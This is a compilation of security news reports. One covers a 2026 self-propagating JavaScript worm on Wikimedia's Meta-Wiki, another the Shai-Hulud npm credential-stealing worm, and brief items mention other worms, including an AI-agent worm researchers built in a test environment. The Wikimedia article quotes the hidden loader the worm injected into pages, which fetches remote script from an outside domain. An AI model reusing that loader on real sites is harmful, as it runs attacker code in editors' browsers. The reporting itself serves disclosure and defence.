bleepingcomputer.com
March 5, 2026
By Lawrence Abrams
The Wikimedia Foundation suffered a security incident today after a self-propagating JavaScript worm began vandalizing pages and modifying user scripts across multiple wikis.
Update: Added Wikimedia Foundation's statement below and made a correction to denote it was only the Meta-Wiki that was vandalized.
The Wikimedia Foundation suffered a security incident today after a self-propagating JavaScript worm began modifying user scripts and vandalizing Meta-Wiki pages.
Editors first reported the incident on Wikipedia's Village Pump (technical), where users noticed a large number of automated edits adding hidden scripts and vandalism to random pages.
Wikimedia engineers temporarily restricted editing across projects while they investigated the attack and began reverting changes.
The JavaScript worm
According to Wikimedia's Phabricator issue tracker, it appears the incident started after a malicious script hosted on Russian Wikipedia was executed, causing a global JavaScript script on Wikipedia to be modified with malicious code.
The malicious script was stored at User:Ololoshka562/test.js [Archive], first uploaded in March 2024 and allegedly associated with scripts used in previous attacks on wiki projects.
Based on edit histories reviewed by BleepingComputer, the script is believed to have been executed for the first time by a Wikimedia employee account earlier today while testing user-script functionality. It is not currently known whether the script was executed intentionally, accidentally loaded during testing, or triggered by a compromised account.
BleepingComputer's review of the archived test.js script shows it self-propagates by injecting malicious JavaScript loaders into both a logged-in user's common.js and Wikipedia's global MediaWiki:Common.js, which is used by everyone.
MediaWiki allows both global and user-specific JavaScript files, such as MediaWiki:Common.js and User:<username>/common.js, which are executed in editors’ browsers to customize the wiki interface.
After the initial test.js script was loaded in a logged-in editor's browser, it attempted to modify two scripts using that editor's session and privileges:
User-level persistence: it tried to overwrite User:<username>/common.js with a loader that would automatically load the test.js script whenever that user browses the wiki while logged in.
Site-wide persistence: If the user had the right privileges, it would also edit the global MediaWiki:Common.js script, so that it would run for every editor that uses the global script.
Code to inject a self-propagating JavaScript worm into the MediaWiki:Common.js script
Code to inject a self-propagating JavaScript worm into the MediaWiki:Common.js script
Source: BleepingComputer
If the global script was successfully modified, anyone loading it would automatically execute the loader, which would then repeat the same steps, including infecting their own common.js, as shown below.
A Wikimedia user's infected common.js script
A Wikimedia user's infected common.js script
Source: BleepingComputer
The script also includes functionality to edit a random page by requesting one via the Special:Random wiki command, then editing the page to insert an image and the following hidden JavaScript loader.
[[File:Woodpecker10.jpg|5000px]]
<span style="display:none">
[[#%3Cscript%3E$.getScript('//basemetrika.ru/s/e41')%3C/script%3E]]
</span>
According to BleepingComputer's analysis, approximately 3,996 pages were modified, and around 85 users had their common.js files replaced during the security incident. It is unknown how many pages were deleted.
Pages modified by JavaScript worm
Pages modified by JavaScript worm
Source: BleepingComputer
As the worm spread, engineers temporarily restricted editing across projects while reverting the malicious changes and removing references to the injected scripts.
During the cleanup, Wikimedia Foundation staff members also rolled back the common.js for numerous users across the platform. These modified pages have now been "supressed" and are no longer visible in the change histories.
At the time of writing, the injected code has been removed, and editing is once again possible.
However, Wikimedia has not yet published a detailed post-incident report explaining exactly how the dormant script was executed or how widely the worm propagated before it was contained.
Update 3/5/26 7:45 PM ET: The Wikimedia Foundation shared the following statement with BleepingComputer, stating that the code was active for only 23 minutes, during which it only changed and deleted content on Meta-Wiki, which has since been restored.
"Earlier today, Wikimedia Foundation staff were conducting a security review of user-authored code on Wikipedia. During that review, we activated dormant code that was then quickly identified to be malicious. As a preventative measure, we temporarily disabled editing on Wikipedia and other Wikimedia projects while we removed the malicious code and confirmed the website was safe for user activity. The security issue behind this disruption has now been resolved.
The code was active for a 23 minute period. During that time, it changed and deleted content on Meta-Wiki – which is now being restored – but it did not cause permanent damage. We have no evidence that Wikipedia was under attack, or that personal information was breached as part of this incident. We are developing additional security measures to minimize the risk of this kind of incident happening again. Updates continue to be made available via the Foundation's public incident log."
krebsonsecurity.com Brian Krebs September 16, 2025
At least 187 code packages made available through the JavaScript repository NPM have been infected with a self-replicating worm that steals credentials from developers and publishes those secrets on GitHub, experts warn. The malware, which briefly infected multiple code packages from the security vendor CrowdStrike, steals and publishes even more credentials every time an infected package is installed.
The novel malware strain is being dubbed Shai-Hulud — after the name for the giant sandworms in Frank Herbert’s Dune novel series — because it publishes any stolen credentials in a new public GitHub repository that includes the name “Shai-Hulud.”
“When a developer installs a compromised package, the malware will look for a npm token in the environment,” said Charlie Eriksen, a researcher for the Belgian security firm Aikido. “If it finds it, it will modify the 20 most popular packages that the npm token has access to, copying itself into the package, and publishing a new version.”
At the center of this developing maelstrom are code libraries available on NPM (short for “Node Package Manager”), which acts as a central hub for JavaScript development and provides the latest updates to widely-used JavaScript components.
The Shai-Hulud worm emerged just days after unknown attackers launched a broad phishing campaign that spoofed NPM and asked developers to “update” their multi-factor authentication login options. That attack led to malware being inserted into at least two-dozen NPM code packages, but the outbreak was quickly contained and was narrowly focused on siphoning cryptocurrency payments.
In late August, another compromise of an NPM developer resulted in malware being added to “nx,” an open-source code development toolkit with as many as six million weekly downloads. In the nx compromise, the attackers introduced code that scoured the user’s device for authentication tokens from programmer destinations like GitHub and NPM, as well as SSH and API keys. But instead of sending those stolen credentials to a central server controlled by the attackers, the malicious nx code created a new public repository in the victim’s GitHub account, and published the stolen data there for all the world to see and download.
Last month’s attack on nx did not self-propagate like a worm, but this Shai-Hulud malware does and bundles reconnaissance tools to assist in its spread. Namely, it uses the open-source tool TruffleHog to search for exposed credentials and access tokens on the developer’s machine. It then attempts to create new GitHub actions and publish any stolen secrets.
“Once the first person got compromised, there was no stopping it,” Aikido’s Eriksen told KrebsOnSecurity. He said the first NPM package compromised by this worm appears to have been altered on Sept. 14, around 17:58 UTC.
The security-focused code development platform socket.dev reports the Shai-Halud attack briefly compromised at least 25 NPM code packages managed by CrowdStrike. Socket.dev said the affected packages were quickly removed by the NPM registry.
In a written statement shared with KrebsOnSecurity, CrowdStrike said that after detecting several malicious packages in the public NPM registry, the company swiftly removed them and rotated its keys in public registries.
“These packages are not used in the Falcon sensor, the platform is not impacted and customers remain protected,” the statement reads, referring to the company’s widely-used endpoint threat detection service. “We are working with NPM and conducting a thorough investigation.”
A writeup on the attack from StepSecurity found that for cloud-specific operations, the malware enumerates AWS, Azure and Google Cloud Platform secrets. It also found the entire attack design assumes the victim is working in a Linux or macOS environment, and that it deliberately skips Windows systems.
StepSecurity said Shai-Hulud spreads by using stolen NPM authentication tokens, adding its code to the top 20 packages in the victim’s account.
“This creates a cascading effect where an infected package leads to compromised maintainer credentials, which in turn infects all other packages maintained by that user,” StepSecurity’s Ashish Kurmi wrote.
Eriksen said Shai-Hulud is still propagating, although its spread seems to have waned in recent hours.
“I still see package versions popping up once in a while, but no new packages have been compromised in the last ~6 hours,” Eriksen said. “But that could change now as the east coast starts working. I would think of this attack as a ‘living’ thing almost, like a virus. Because it can lay dormant for a while, and if just one person is suddenly infected by accident, they could restart the spread. Especially if there’s a super-spreader attack.”
For now, it appears that the web address the attackers were using to exfiltrate collected data was disabled due to rate limits, Eriksen said.
Nicholas Weaver is a researcher with the International Computer Science Institute, a nonprofit in Berkeley, Calif. Weaver called the Shai-Hulud worm “a supply chain attack that conducts a supply chain attack.” Weaver said NPM (and all other similar package repositories) need to immediately switch to a publication model that requires explicit human consent for every publication request using a phish-proof 2FA method.
“Anything less means attacks like this are going to continue and become far more common, but switching to a 2FA method would effectively throttle these attacks before they can spread,” Weaver said. “Allowing purely automated processes to update the published packages is now a proven recipe for disaster.”
Security researchers created an AI worm in a test environment that can automatically spread between generative AI agents—potentially stealing data and sending spam emails along the way.
LitterDrifter's means of self-propagation are simple. So why is it spreading so widely?
Microsoft has discovered that an access broker it tracks as DEV-0206 uses the Raspberry Robin Windows worm to deploy a malware downloader on networks where it also found evidence of malicious activity matching Evil Corp tactics.
Microsoft says that a recently spotted Windows worm has been found on the networks of hundreds of organizations from various industry sectors.
Raspberry Robin is a worm spread by external drives that leverages Windows Installer to download a malicious DLL.
